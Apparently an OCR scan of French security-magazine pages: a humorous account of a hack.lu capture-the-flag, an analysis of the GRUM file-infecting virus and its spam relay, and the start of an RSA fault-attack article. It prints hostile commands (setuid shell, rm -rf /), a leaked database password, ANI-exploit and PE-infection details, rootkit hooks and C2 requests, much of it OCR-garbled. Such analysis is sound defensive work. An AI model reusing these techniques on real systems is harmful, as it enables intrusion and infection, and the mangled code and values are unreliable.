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Capture The Flag

l&tait une fois, dans l'autre pays des bangues et chambres de compensation, une canférence bien sympathique
[hack fu). Lors de la précédente dition. un clone du nain Gimli organise & la derniére minute un « capture fhe
fiag » (CTF), jeu ol il s'agit de passer différentes épreuves pour prendre le contréle d'une machine. Le challenge
commence dans 30 minutes. Mais, pas le temps d'attendre, on va « tester » le farmulaire d'inscription

I ke

Owned.com’>

Cela suffita L RetF - ils creent la « team Bisounours » pour montrer & tous les /4m3rZ présents qui sont les
rois du nel. Le formulaire est retiré pour quelques minutes..

Je vous passe les 3 premiers niveaux, les Bisounours prennent |a téte tout de suite pour ne plus la lacher
Signalons juste un premier travers dans la configuration du serveur |

hbtp://192.16 cgl-Bin/stageltmessage=.. L0 L L fetefpassnd

Lequipe récupére ceci

“sthome/ breakma: /i fih

IMwiojjEaglzim3dslPEe ensh.py

Mais, en plus, efle récupére aussi le naster.passwd (tiens, un FreeBSD 1)

legin
inclagin

1:3SEHSIghmEkRrldttOYmOLaNTh, ;2006 1108: :@; 0 bistunaurs:/hose/ teamdl: fuse /shininalogin

John donne un bon coup de main pour casser le mot de passe du compte breakme (bananal)... et des
concurrents -) Passons au niveau suivant, avec un binaire a analyser - un stack overflow aprés l'authentification.
Probleme. personne ne parvient a s'authentifier sur le serveur, L'équipe, vers Th du matin, croise 'nrganisateur qui
realise gu'il a oublie de creer les comples !l répare cela... mais I'heure et l'urgence lui font commettre quelques
8ITEUrs, Nous y reviendrons. Lexploit finit par marcher, et signalons la performance

= L explore la machine sous toutes ses coulures.

= F analyse le binaire et explique 'exploit.

R code 'exploit.. en NASL |

Rien de tel qu'un renot e sur un FreeBSD a 1h du matin pour briller en société ! Bon, hop, I'équipe a la main sur
lg serveur et, 14, c'est le drame.., -D

En cherchant un peu, iIs trouvent un . forward dans le compte ctf qui reoit les mails de validations. qui renvoie
les mails vers un script StageParser.py (et la, Python, cestbon 1} -

§ cat StageParser.p)

stage_ieys = [ "JauROANER ==", "giMwhojitaglzindlsifeg==", ... ]

HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA | Moment d'extase du genre « cri de la base SAM
oui fraverse |e reéseau » ) Bon. ben voila, le challenge est terminé... ou presque, gnark gnark gnark | Etape
suivante, prendre |e contréle de la base de données :

Lonn = user="roat", passwd="superchellenge’, host="lccalhost", db="teamsubmit")

connet

Quelgues minutes plus tard, la page de résultats affiche :
stege /(1
bisounaurs (7} @ Fri Oct 28 83:13:37 EOT 2486

C'est bon, la team peut aller se coucher et reprendre des forces, Le lendemain, elle réalise que les adversaires
nont pas encore avance. Sauf que.. vers midi, Iinfame RedTeam (qui avait perdu son mot de passe la veille et
aqui les Bisounours 'avaient sympathiquement redonng) vient de valider le niveau 6 : c'est la guerre |

Nos heros se reconnectent sur la machine, avec le compte RedTean, grace 4 son exploit en NASL. Sauf que cette
fois, Ils sont root sur la machine (alors gu'hier, (s r'arrivaient pas a passer root). En fait, [a RedTeam a trouvé
un script Python SetU|D root, qui leur a permis d'exécuter un chnod +5 /bin/sh et, donc, la team Bisounours
a un pot ENORME de bénéficier de leur shell raot

Bref, les Bisounours ne veulent pas se faire passer devant. Mesure 1, bloquer I'accés | echo exit = /home/
team?/.shrc

Qups, pardon, on n'a pas fait expres ) Ils peuvent toujours se connecter avec le compte d'une autre team. s
sont bons chez RedTeam. lls doivent aussi avoir casse d'autres mots de passe.

lls sont bons et joueurs, comme les Bisounours. Et 14, ga derape complétement -

= Les Bisounours font un chilags schg <database> (en gros, on ne peut plus madifier le fichier), puis passent
en securelevel 2.

& La RedTeam change la page HTML qui affiche les résultats et crée un niveau 8 virtuel qu'ils viennent de
valider.

= Les Bisounours passent au plan B | installation d'un serveur web avec sa propre page web de résultats -

Fin {not fo !

5 E0T 266

am (1) @ Fri (ct 28 18:16:36 FOT 2846

ELARP spoofing massif sur tout le réseau pour rediriger le trafic vers cette page.

Etla, ¢a lourne a la guerre totale. Les Bisounours ont malencontreusemeant cassé le fichisr master.pascud, le
serveur de base de donnges est corrompu, toute connexion vers le serveur se prend un RST. Bref, ¢a barde |
Intervention malheureuse de 'equipe FrenchFries qui croit que les 2 autres équipes ont efface des fichiers sur
leserveur ils lancentun ra -rf /. Fin du jeu, le serveur n'est plus bon & rien... comme les joueurs, lrop morts
de fatigue et de rire.

Maralités -

1PLes Bisounours ont gagne.
2P Ne laissez jamais un Biscunours dans votre dos.. ou sur votre machine.

Tout ga pour dire gue ce jeu était un excelient exemple de la meilleure maniére de faire de la sécurité. Les équipss
avaient des joueurs avec des profils trés différents, mais elles ont su utiliser les connaissances et la malice de
chacin de maniere trés complementaire. Ne croyez pas les gens qui prétendent pouvoir tout faire en sécurité, ¢a
nexiste pas (c'est comme les antivirus qui protégent de 100% des virus connus et inconnus). Accessoirement,
hack.lu revient en octobre prochain ) Heureusement, pour attendre jusque-la, il v a aussi SSTIC qui arrive.
Enfin. pour ceux qui ont pu avoir des places...

Un dernier mot a propos de travail en equipe ; je tiens a remercier particuligrement Guillaume Arcas,
Axelle Apvrille et Victor Vuillard pour leur aide 4 la confection de ce numéro.

Borine lecture,
Fred Raynal
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Analyse du virus PE GRUM
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Analyse du virus PE GRUM

Le 27 mars 2007 a Beijing, 23h00 heure locale, le site chinois de recherche antivirus « Malware-Test.com », [1] annonce
l'utilisation d'un O0day pour Windows par des sites malicieux. Microsoft publiera un advisory deux jours plus tard, le 29
mars. La vulnérabilité réside dans la gestion des curseurs animés de Windows. A I'aide d'un curseur animé mal forme, il est
possible d'exécuter du code sur une machine, et done de I'infecter. Le probléme étant dans user32.dll, Internet Explorer,
Firefox, Outlook, etc. sont affectés. Commence alors une croissance de sites malicieux utilisant cette vulnérabilite, qui
ne sera patchée [2] qu'a partir du 3 avril 2007. Lors de la rédaction de cet article, plus de 2000 sites exploitent la faille
.ANI pour propager des codes malicieux [3]. Cet article présente I'analyse d'un virus installé a l'aide de cette vulnérabilité.

anti-émulation

mots clés : virus / infection PE / reverse engineering / protections / analyse de code /

Introduction — Présentation
de la faille exploitée

La vulnérabilité réside dans USER32.d11. Lorsque Windows charge
un curseur anime, Windows commence par verifier le curseur,
en examinant le début du header. Celui-ci doit contenir les
lettres « RIFF ». Ensuite, la fonction |LoadCursoriconfromFileMap
est exécutée. C'est dans cette fonction, et plus précisement,
dans la sous-fonction LoadAnilcon qu'il est possible d'exploiter
la vulnérabilité. En présence d'un curseur non malicieux, le
programme continue son execution juste aprés LoadAnilcon et
tout fonctionne correctement. Par contre, en présence d'un
curseur malicieux, 'adresse de retour de LoadAnilcon est modifiee
pour pointer vers une instruction qui va permettre I'exécution
d'un shellcode.

L'adresse de retour est écrasée a l'aide d'une fonction qui copie
le header anih sur la pile. La taille du header est normalement de
0x24 bytes. Aucune veérification n‘est effectuée, et il est possible
de modifier la taille du header. En utilisant une taille de header
plus grande, la fonction de copie va remplir Ia pile jusqu'a ecraser
I'adresse de retour de la fonction LoadAnilcon, Dés lors, lorsque
celle-ci se termine et exécute l'instruction RET, le code est transféré
et le shellcode est execute.

Dans la majorité des exploits existants, l'adresse de retour est
changée par I'adresse d'un call [ebx+4] présent dans [ser32.d11.
Il est donc possible de rediriger le code vers un shellcode.

1. Vecteur de propagation

Une large campagne de spam est menée avec pour sujet « Hot
Pictures of Britiney Speers ». Les personnes recevant le spam
sont invitées a cliguer sur un lien pour voir une photo de la star nue.

Voici une capture d'écran :

From: Nude BritineySpeers.com [mailtos il amermess B o]
Sent: Sunday, April 01, 2007 3:20 FM

To: Ly

Subject: Hot pictures of Britiney Speers

Importance: High

L'email est écriten HTML, et utilise des technigues pour contourner
les antispams. Le lien conduit les utilisateurs sur un site malicieux
qui contient des JavaScripts avec obfuscation de code. Une fois
le script décodé, les personnes sont redirigées sur le méme site,
mais cette fois, vers un . ANl malicieux. Le shellcode telécharge
et lance un exécutable sur la machine, sans aucune intervention
humaine. Le nom de |'exécutable installe est 200 exe.

Capture d'ecran du script :

Le serveur principal gui héberge I'exploit est localise en Russie
et a déja été utilisé dans le passé, pour installer des rootkils, des
chevaux de Troie et autres codes malicieux.

2. Anti reverse engineering —
TLS callbacks + anti-émulation

Lors du désassemblage de I'exécutable installé sur la machine
par l'exploit, on constate que le point d'entrée du programme est
totalement incompréhensible, car le code n'est pas valide. La seule
explication possible est la présence d'un callback TLS, qui permet
d'exécuter du code avant que le point d'entrée de I'application
soit exécute. Cette technique est pratique pour ralentir I'analyse
statique. Voici a quoi ressemble le point d'entrée encode :

gemp: 80446088 public start
Jemp: BR446080 start:

temp: 03446000 and al, 82h
temp: BA4d6002 add 50, £0p
Jtemp: 3446024 out ax, eax
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temp: 88440005 jz short loc 446637
.temp 58446807 shr byte ptr [esi+2@h], L
temp:BR446RRA fucom  st{7}
JLemp:A3d6aac pop Bsp
JLemp; 00446800 push  ds
Jtemp:B@44680E dec ebp
Jbemp: 804 4c0ar in al, dx
Lemp:Bd446E1H cdg
Stemp:g4dal1 sbd eax, 3D99E7EDR
tenp:B04dedle pop ds
tenp:BE44eE17 in al, da
Jtenp:BB446018 cdg
Jtemp:BB446819 sbb eax, 1099ECI0N
JLemp:044601E frstor byte ptr [edi]
temp:@B44aAZE cdg
temp:adadepal sbb eak, 1099E700h
JLemp:BB446826 fucom  st(7)
Jtemp:@Badenie cdg
Lemp: 83446829 loope  loc_446048
JLemp: 08446028 imp far ptr 109Sh:BETO010990
Jtemp: 60446028 e
Lame i 00k

1, 100, BEDR

Et voici le code du callback TLS, responsable du décodage du
point d'entrée, avant son exécution

et @0401080 public T1sCallback_@
Jdext: 0481068 TisCallback 3 proc near ATH KF

Jdext:Ba401008 push  esi
Jext:08481881 push  edi
Jfext:pa4glage push  ebx
JLext:§R461803 push  17001877h
JLext:fadaipes pop adx
Jdext:Baadaes xor edx, 1BEZETOLN
JLext: 06481968

Aext:B040188F compute EAK: 3 CODE XREF: T1sCailback_8+23]
text: DR4E1AAF add edy, 1
Lent:Ba4R1015 moy eax, edx
text:BR4B1E1T sub eax, OETODIBASH
Laxt 03461810 tmp

Jtext:fO481023 inz

JLext:BO4R1028 moyv

fext:BO4R102E add

LLext:B04R1034 add

ext:FO4R103A add

text: 00401048

Jdext: 00401048 Computs ERX:

JLext:BR401048 a0d abx, 4

et BR491R46 may BCH, ebx
Lext: BR401848 add ecx, 1822F5F3

Jext:B048184E cnp ecy, LAZ2FE24h

JLeat pe4@1a5¢ inz mputa_EBY

JLext; 90401854 mov edi, offset Point_Entree
JLext 9B40185F

JLext:AB4B1A5F Decode Entry Point:

» CODE XREF: TisCallback @473

JLext: JE4R105F [edi], edx 7 EDX = (78 de décodage

teat; BR4A1A6] add edi, BETOCERS9N ; Ces dewx instructions
ADD, font en fait:
ADD EDI4

JLext: §9401067 a0d edi, 18231768

et 08481060 sub by, |

Jdext:084p1873 inz Degode_Entry_ Point

Lext:0B4E157S pop elx

fext:BBsE1aTA pop i

Jtext:d@481078 pop 2si

Aeat: BO4B1ETC retn  BCh ; Windows Takes Over and calls

the eniry point
Lext:BE48187C TisCallback @  endp
Lext: BEARIETC
Lexnt: BR4A1ATC

Cette routine peut paraitre étrange, mais elle est en fait trés simple.
Ce code utilise plusieurs longues boucles pour générer des valeurs
utiles au décodage du point d'entrée. L'exécution de ces boucles
est trés rapide sur une machine réelle, mais peut étre tres longue
dans un émulateur et donc poser des problémes de ralentissement
du scanner d'un antivirus. De plus, si les callbacks TLS ne sont
pas supportes par I'émulateur, il tentera d'exécuter le point d'entrée
directement, et stoppera sur du code invalide. La technigue utilisée
dans ce virus est assez naive, car il est possible de décoder sans
effectuer les boucles, une fois les valeurs nécessaires connues,
Dans la boucle finale qui décode le point d'entrée, on apercoit deux
ADD sur EDI. C'est une obfuscation, qui peut &tre traduite en : ADD
EDI, 4. Il s'agit donc d'une boucle de décodage de doubles mots.

3. Installation et infection
d'exécutables

200, exe commence par se copier dans le répertoire tenp de
I'utilisateur courant sous le nom de Winlogon.exe, et exécute le
nouveau fichier pour devenir resident. Ensuite, 200 exe génére
un batch quiil exécute, puis se ferme. Le bzt s'occupe d'effacer
204.exe, puis s'auto-efface par la suite (de1 %0).

Winlogon. exe, qui @ maintenant pris la main, s'assure une exécution
a chaque boot de Windows en modifiant la base de registre
(Software\Microsoft\Windows\CurrentVersion\Run) et vous verrez
par la suite qu'il utilise aussi une technigue de rootkit pour cacher
sa résidence memoire.

L'infection de fichiers peut alors commencer, car le virus est
résident et invisible a ['utilisateur. Le virus infecte tous les fichiers
listés dans la clé de registre : HLEY CURRENT _USER\Software’
Microsoft\Windows\CurrentVersion\Run. Dans cette clé, on retrouve
les applications qui sont lancées quand Windows redémarre, et
elles sont toutes infectées par ajout de code dans la derniére
section du programme. L'intérét de cette technigue est de pouvoir
executer |e virus a chaque redémarrage de Windows sans avoir
a modifier la base de registre, qui peut étre surveillée par certains
antispywares et autres programmes de protection.

| £ 981}
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Dans la figure3, on peut voir que le virus fait une copie de
sauvegarde des fichiers infectés. En effet, la copie utilise I'extension
RGN et permet une deésinfection simple du virus. La copie de
sauvegarde n'est pas utilisée par le virus, il ne s'agit pas d'un virus
compagnon. L'utilisation de fichiers goafs permet de recupérer
plusieurs souches de l'infection, pour ensuite l'analyser.

Linfection PE est classigue. La derniére section de I'exécutable est
agrandie, pour contenir le code du virus ainsi que le code d'une dll,
comme vous pourrez le constater plus loin dans l'article.

i '._“i'ﬂﬂl_lll Hu I'u|-u.ll.|

(SR | o Trpe Donrdes
) Wandaers []ipar difeut) REG.32 (valewr ron difrie). Mo Restant; —
bl Currieeror | Fiewal s ety REG 52 CHERICUME-Tirbrudazif DCAL 51| Templ wiriogon. asn
fﬂx . REG_52 - il
& e bt ok o T o e
i 23 Group Poicy If R di—
= L erpcon [ ic=ivon o G s Windowe
. dmm !_’ = = WIIIIJNDIN File
o e s | Y e et vesnemrm o | |2
Snn :;::;::::;i“?ﬁtuzWhawn&!ﬂﬂamuhnuum",f
o L Settms -
& [ Shed Extersions Instrez vote LD du Service Pack 2 pour Windows 72
& ] Synemge
# 1. Telepbony Boconmencer | Inlomiions Arrudes
L1 ThemeManagor
* _J Themes
b Webcheck |
1 Wiroerlipdan Faresr  Eckion Alfrheys  Favors Outk 7
& [ winTrus
*rj‘?" Qrocecent = () (T Redeecer it [T~
123 Wirdows Help e |y Co\progeam Fiesindows N\ Acosssores v Byex
21 et veds DCipre b el e, s
B B L BT Eena
< 8 L] s douments - ——— Infected
o {_CLRRENT. Ly A B —__ I
—— : I LT
rsrc:@1857CER mey edi, [esi+IMAGE_DOS_HEADER.e_|fanew]
rsrc:@1857CEE add edi, es1
Jasre: 1857CFE movzx  eax, [edi+IMAGE_NT_HEADERS32.Fileheader.
Number(fSections]
Jrsre:18570F4 dec eax
.rsre:1B670F5 fmul  eax, 28h . G0 to Tast Section HEADER
rsre:BIE57CF8 movzx  edx, [edi+IMAGE_NT_HEADERS3Z.FileHeader.
Sizelf0ptionalHeader]
.rsre:BLASTCRC léa  edx, [edi+edx+l8h]
Jrsre: ALAST0G0 add adx, eax
rsrc:B1R57082 push  edi
Lrsre: B1857083 mov pax, [edx+IMAGE_SECTION_HEADER.Virtualdddrass]
Jrsre:B1E57006 add pax, [edx+IMAGE_SECTION_HEADER.SizeOfRawlata]
Jrsro: B1857089 mey [edi+IMAGE_NT_HEADERS3Z.DptionalHeader
fddressOfEntryPoint], eax ;
Virus Entry Point
Lrsrc: 81857060 may pdi, [edx+IHAGE_SECTION_HEADER.PointerToRawDats]
.rsrg: B1EST0AF add pdi, [edu+IHAGE_SECTION_HEADER.SizalfRawlatal
Lrsrc: 1857012 add edi, [ebptiar 0]
.rsre: 1057015 led est, ds:421088n
rsre:@1857018 moy ecx, ZE7B3h i Virus Size
rsrea@ldbrnzg push  ecx
Jrsrc: @LERTO2L rep movsh ; Copy Virus Code
(rsre; 1857023 pop BCK
rsre: Q1057024 pop edi
rsre:Ble570E5 add [edx+18h], ecx
Jrsrc:@lasT0ze may ger, [edxtlhl

.rsre:@1857028
rsre:@1857DEE
.rsr:@1857038
Jrsre; B1857033
rare: 1857036

Jrsre; 1857038

.rsre:§1857038

rsrc:B1A57028
Jrsrc: B1B57D3E

JTsre:BIESTIE
Lrsre:B1057041

.rsrc;BLASTO4R

rsrc:B1E57038

cmp ecx, [edx+B]

ibe short loc 1857038
mo¥ [edx+8], ecx

add ecx, [edw+dCh]
jmp short Toc_LAGTD3E

s 057038 Toc_LB57038: + CODE X¥REF:

sub_1A5TBFO+135]
mov  ecx, [edx+f]
add ecx, [edx+dCn]

s B185703E Toc_1@5703E: + CODE. XREF:

sub_ 18578F9+13D]
mov [edi+h@E], ecx
mov [edx+THAGE_SECTION_HEADER
Characteristics], GEORRBeEdn
mov [adi+IMAGE_NT_HEADERS3Z2.0ptionalkesder
Wind2VersionValue], 123212430 ;
Infection Mark

Le virus utilise une marque d'infection pour ne pas réinfecter les
fichiers déja contaminés. Ici, il s'agit de la valeur 117371241 placee
dans le champ Win22VersionValue du PE Header. Le point d'entrée
est modifié pour pointer vers la derniére section, agrandie pour
recevoir le code du virus, L'exécution d'une application infectée
débute par le code malicieux qui génére un nouveau thread viral
pour rendre ensuite la main a |'application hote qui s'execute
normalement aux yeux de ['utilisateur :

rsrc:§1837249F
‘rsrc: AIR37T29F

JTsre; P1E37E9F
Jrsro:B1037244
rsrc: 01837245
ey BLAGT2AR
rsrc BIRITZAE
Jrsre; A1A37268
rsrc:BlE3TERE
Jsrc:BlE3Tzes
(rsre:BlBazed
.rsrc: 1037280
s B183726E
Jrsrc: A1837200

Jrarc: BIB3TECH
(r5re:B1E37208
rsre:B183720E
.rsro;@LEITE04

Jrsre: 81037204

Lrerc:@1837205
rsro: 1837205

.rsre:§1837204 Toc_1637204: ;- CODE XR

rsrc:B183729F Yoo 1B3729F: + CODE YREF: start+[]

call  sub_1@588D03

push  eax

Tea eax, [ebx+48118A4N)
xchy  eax, [espd+yar 4]

push @
push @
push  eax

led pax, [ebu+d221000)

xchg eax, [esp+l@ftvar_ 18]

push @

push @

rall  [ehx+LreateThread]
Execute Virus Thread

push: @

call  [ebx+GetModuledandle]

add eax, [ebx+Application_EntryPoint_RVA]
ImageBase + RVA Entry Point

s+ start:lo

Jrsre: BIE3TE04 pop ebx
.rsrc:B1E37205 jmp eax 1 Execute Application
.rsre:B1837205 start endp

L'application hote est exécutée a l'aide d'un 1P £AX. Pendant

que l'application est lancée, le virus vérifie plusieurs mutex pour
s'assurer qu'au moins une instance du virus est résidente en
mémoire, et assure |'action de rootkit et de relay spam.
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4. Rootkit userland

Le virus contient, comme vous avez pu le lire plus haut, une
fonctionnalité de rootkit, qui lui permet de cacher son process
et ses fichiers pour rester furtif sur la machine. Le process
Winlogon.exe lance depuis le répertoire tenp, n'est pas visible
dans le gestionnaire de taches, ni dans aucun outil de gestion
de processus a cause du rootkit. L'utilisateur ne peut donc pas
remarquer la presence d'un fichier suspect en mémoire. Le rootkit
cache aussi un fichier Winlogon sur le disque, mais cette fois-ci,
non pas le fichier malicieux, mais le vrai Winlogon de Windows.
Il s'agit probablement d'un bug de conception, et seule I'application
malicieuse aurait dii étre invisible sur le disque.

Pour pouvoir cacher ses processus, et ses fichiers, le virus hooke
(détourne) des fonctions de ntdll, qui permettent de récupérer
la liste des process et de lister les fichiers dans les répertoires.
Lorsqu'une application comme le gestionnaire de taches de
Windows liste les process, le hook ne retournera jamais le process
malicieux, et passera directement au process suivant, résultant une
invisibilite totale pour toutes applications userland. De la méme
fagon, il ne listera jamais le fichier a cacher, et passera au fichier
suivant lorsque la fonction traite |e fichier malicieux.

GMER utilise une technigue générique pour détecter les rootkits
userland. |l suffit d'appeler les fonctions directement a l'aide de
I'int Ox2E (sous XP, sysenter est utilisé), et d'appeler la fonction
exportée (et donc hookée par le rootkit), pour ensuite comparer leur
résultat. S'ils différent, un rootkit userland est présent en mémoire,
et filtre les valeurs retournées. Il est impossible de détourner l'int
Ox2Eh en restant en userland, c'est pourguoi cette technique est
generigue a tout rootkit Ring 3.

De plus, il n'est méme pas nécessaire d'étre admin pour détecter
la présence des rootkits userland.

Voici ce que l'on peut voir avec le détecteur de rootkit userland
gratuit GMER Catchme :

catchme 8.2 W2K/XP/Vista - userland rootkit detector
by Gmer, 17 October 206
http:/ www.gmer, net

detected NTDLL code modification:
IwQueryDirectoryFile, IwQuerySystemInformation

scanning hidden processes ...
winlogon.exe [1464]

scanning hidden services ...
scanning hidden autostart entries ...

scanning hidden filas ...
C:\WINDOWS system3Z\winlogon.exe SG70984 bytes

scan completed successfully
hidden processes: 1

hidden services: @

hidden files: 1

On peut ainsi voir que le veéritable winlogon . exe est cache sur la
machine, et il ne sera donc pas visible dans l'explorateur Windows.
A l'aide de la version graphique de GMER (qui détecte aussi

les rootkits kernel), on peut voir que le processus caché est bien
le Winlogon.exe présent dans le répertoire temp :
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Si on observe la fonction ZwlueryDirectaryfile (dans ntdll) en
mémoire, on s'apercoit qu'elle est hookee :

Aext:7C91DFSE 5 Exported entry 234, NtQueryDirectoryFile
Sext:7COIDFSE ; Exported entry 1843, IwluerylirectaryFile
1exi:7CH10F5E

text:7C910F5E

text T0910F5E

et 7C910F5E

Jext; TC910F5E public IwQuerybirectoryFile
(text:7C910FSE IwlueryDirectoryFile proc near
ext TC9I0FSE plush

JLextTC010FRS retn

Lext:7CO10FE3 ZwQueryDirectoryFile endp ; sp = -4
Lext:7C910F63

Aext:7C910F63

i NtlueryDirectoryFile

Grace a lafonction Lozd Additicnal Binary File d'IDA, il est possible
de charger un dump d'une page (allouée via Virtualtlloc parle
rootkit), dans une image du nidll hooké pour analyse statique.
On peut donc ainsi suivre le hook en statique et retrouver le code
malicieux :

SOQBAB: MILABECE | --ememeem e

seq0ag: 0814608 push  ebp

seqiad: 091486CC mav ebp, esp

se0f00; 00140608 add esp, @FFFFFFFCH
5eqBEd;Ba14@60! plish  esi

seqfdd; aa1ape0e push  edi

5eqPBa. ae14ER03 push  ebx

seqBid; AE140604 push  dword ptr [ebp+iln]
seqfid. pe14a607 push  dword ptr [ebp+2Ch]
5eq008. BR14BRDA push  dword ptr [ebp+28h)
seqBfd; #a14d600 push  dword ptr [ebp+2dh]
se0fBa: 00140660 push  dword ptr [edp+20h]
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seqlRd; BA1406E3 push  dword pir [ebp+iCh]
segfEd; R14M6Ee push  dword ptr [ebp+18h]
seqfig: BR1486E9 push  dword ptr [ebp+iih]
560089 BA1486EC push  dword pir [ebp+i07]
seq0d: BE146EF push  dword pir [ebp+d(n]
seqdpR. 0a14par? push  dword ptr [ebp+5]
seqfae: 31486F5 call  original_function
seqftd: 0a1486FA push  gax

seqddn: fa14867R call  sub_148%69

5eqd00: 0148780 or e, Bax

Le detecteur de rootkit nous annonce deux fonctions hookees,
mais il y a en fait 5 fonctions hookées par le virus

* TwlreateThread

* lulueryDirectoryFile

* TwluerylnformationThread
* LwQuerySystemInformation
* IwResumeThread

Comme nous l'avons vu plus haut, les fonctions hookées
permettent aux virus de cacher certains process et fichiers aux
applications userland, telles que le gestionnaire de taches et
I'explorateur Windows. Certains rootkits userland en font de meme
pour les clés de base de registre. Lorsque Regedit (par exemple)
tente de lister une clé malicieuse, le hook passe directement a
la cle suivante, et Regedit n'affiche donc pas les clés de registre
utilisées par un programme malicieux.

Dans notre virus, il est assez simple de trouver toutes les fonctions
détournées. En effet, ces fonctions sont exportées par ntdll, et
il suffit de parcourir les fonctions exportées, et de rechercher le
« détour », ici un « PUSH adresse » suivi d'un RET(urn). De plus,
on retrouve les noms des fonctions hookees dans le code du virus,
car elles ne sont pas encodées (elles sont utilisees par une fonction
de type GetProchddress pour récupérer les adresses a patcher.)

GMER ne liste que deux fonctions, car ce sont ces deux fonctions
de ntdll qui permettent de cacher des fichiers et des process. Les
autres fonctions détournées ne sont pas utilisées pour cacher
des objects, mais plutdt pour injecter le code rootkit a chague
création de process. En effet, si Expiorer.exe lance une application,
le code malicieux étant déja en mémoire pourra ainsi injecter les
detournements dans le nouveau process, qui ne pourra plus lister
les fichiers malicieux a son tour.

5. Tout ¢a pour quoi ? —
Un relay spam

Dans le code du virus, on peut retrouver une dil, packee par un outil
maison. La dll n'est pas vraiment une dll classique, elle est chargee
comme fichier binaire, a 'aide de Loadlibrarytx, empéchant toute
analyse basée sur les dll standards, telles que LoadDIl d'OllyDBG.
Aprés plusieurs recherches, cette dll est aussi connue sous le nom
de zAskop.dll, et a été vue pour la premiere fois en décembre 2006
par notre labo de recherche.

Les anciennes versions utilisaient UPX et FSG. |l était donc beaucoup
plus simple de les analyser. Le code, quant a lui, reste identique,

les seuls changements étant les serveurs malicieux utilises pour
commander le relay spam.

Il faut attendre 25 minutes avant que la moindre activite reseau ne
débute, pour ne pas éveiller les soupgons de |'utilisateur et rendre
I'analyse plus difficile. La premiere verification faite par le virus
est la possibilité de connexion sur plusieurs serveurs SMTP, port
25. Les serveurs sont ceux de Hotmail, Yahoo, AOL, Google et
Mail.com. Beaucoup de FAI filtrent les connexions sur le port 25,
et n'autorisent les connexions que sur le serveur SMTP du FAI,
pour limiter les envois de spam sur leur reseau, ainsi que les vers
utilisant les emails comme vecteur de propagation.

Le composant de spam commence donc par verifier la possibilité
de connexion et génere une URL en fonction du résultat. LURL
contient plusieurs parametres, le dernier indiguant au serveur
distant si la machine infectée est capable de se connecter sur le
port 25 d'un SMTP testé un peu plus tét.

En cas de réussite, la requéte générée ressemblera a :

GET/spm/s_alive.php?id=XXXX&tick=XiXX&ver=2078sntp=0k
HTTP/1.8\n.

Autrement, en cas d'impossibilité de connexion, on voit :

GET/spm/s_alive.php?id=¥XXX&tick=XXXX&ver=20874smtp="Dad
HTTR/1.8%n.

ok ou bad informent le serveur gui commande le spam sur la
capacité de la machine a se connecter aux serveurs SMTP.

Le parametre ID est un identifiant Unigue de la machine, stocké
dans la base de registre.

Le parameétre tick estle nombre de millisecondes écoulées depuis
le chargement de Windows. Cet ID est important. Les personnes
qui s'occupent de gérer le spam ont besoin de machines qui restent
connectées assez longtemps pour envoyer un grand nombre
d'emails. C'est pour cela que le relay de spam n'effectue aucune
connexion SMTP avant que le temps écoulé depuis le chargement
de Windows soit au moins égal a 5 heures :

Jtext: 10084803
Jext:100B4BC3 Toc_180848C3:

1 8804B28+92]
text: 100848C3 call i }
et 100049 £mp edx, LBOEOAAE  ; MS since Windows
Booted
Lot 100848CE ib ps4_ than_5f
et 108R4ED4 push @ ; protocol
Jtext: 10004806 push 1 ; type
Stext: 16804808 push 2 ;af
Lext:108R4B0A gall  ds:
JLext:1BAR4EER push 4@ 3 hostlong

Aext:19804BE2 may esi, eax

Une fois gue le nombre de ticks est assez éleve, le code
malicieux passe & I'étape suivante : la recupération d'un fichier
de configuration au format XML a l'aide d'une requéte sur un
autre serveur.

_-j...._.
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BET/spm/s_tasks.phpZid=XNeXnkankebyer=267 HTTP/1.0

User-Agent: Mozilla/4.0 (compatible; MSIE 6.8 Windows NT 5.1 VS2)
Host: Malicious IP

Accept: /%

Connection: Keep-Aliye

La requéte retourne un fichier de configuration qui ressemble
aceci:

<INFQ>

taskig=2

realip= infected mackine ip
hostname= infected machine hostname
mixthrezd=5

from

</THFO>

Dans la balise Info, on retrouve I'lP de la machine, son hostnarme,
le nombre de threads a créer pour spammer. eto.

<EMAILS>

n[removed]d[removed]fire.arg
nlremoved]@hotmail.con

[rempved tons of emails to be spammed]
<JEMATLS>

<TERT>

WIME-Version: 1.8
L-Originating-IP: [96.366.%%. 4]
K-Originating-Email: [$TO_EMAIL]
A-Sender: STO_EMAIL
Return-Path: STO_EHAIL
Received: S$OM_RECEIVED
Hessage-Id: <$QM_MESSID>

To: <STO_EWAIL>

Subject: Ontine Medhelp
From: Viagra.com <$T0_EMAIL>
KIME-Version: 1.8

Importance; High
Content-Type: text/ntm
<(TERT>

B=oA Wed, & &pr 1007 et

Azl :qw:a-‘i‘?_. angs

50 orgy. .. Sander ok
RCET T - < R NEL TS

0 <r O 2oy, Recipient ok

Enter mall i ThT pnoa Time by Jrself

ang
COTTENT-Type! Text/Mml

L‘.E- ALWIE4B0 Mazsage icoepred for delfvery

Dans la balise tMAILS, on retrouve plusieurs centaines d'adresses
emails a spammer, dans la balise TEXT, les headers et |a structure
des emails de spam a envoyer. Lors de l'analyse du virus, le
serveur retournait un email vide, d'ol I'absence de texte dans
l'exemple ci-dessus.

Voici & quoi ressemble ['envaie d'un email de spam capturé a l'aide
d'un sniffer : voir figure 5.

Et pour terminer cet article, voici a quoi ressemble un email quand
le relay spam fonctionne correctement. Une image et un lien vers
un site de pharmacie en ligne :

Dz - Viagra.com [maileo:
Enwoyé : mercredi 4 avril 2007 15:39
N —

Objet : Online Madizlp
Importance : Haute

CHEAPEST PRICES
We are the only store wich
gives this great deal you!
Save huge 70 %
on all the orders with us!

The USA Licensed
Online Pharmacy

VIAGRA VIAGRA SOFT Clas CIALIS 50FT

= B
|
| | S|
4 il |
| [ |
Kanax somMa AMBIEN TRAMADOL
| | <
= | MY
VAL MERIDLA

Conclusion

Il est intéressant de noter que pour arriver a leur fin, les
organisations profitant du spam emploient toutes les
techniques connues afin de rester sur une machine le
plus longtemps possible, sans étre découvert : infection
d'exécutables pourtant boudée pendant des années par
les auteurs de malwares, et les rootkits, trés présents de
nos jours dans les codes malicieux. On notera aussi un
chiffrement maison du malware téléchargé par le 0Oday
utilisant des techniques avancées (callbacks TLS).
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Des souris et des chats : attaques et
contre-attaques de RSA sur cartes a puce

[...] with these sort of schemes the devil is always in the details, and there are fots of details,

Ron Rivest

Nous présentons ici une série d’attaques par injection de fautes (fault injection) et de contre-attaques, appelées aussi
contre-mesures. Ces attaques et contre-attaques concernent la signature RSA par restes chinois sur cartes a puce.
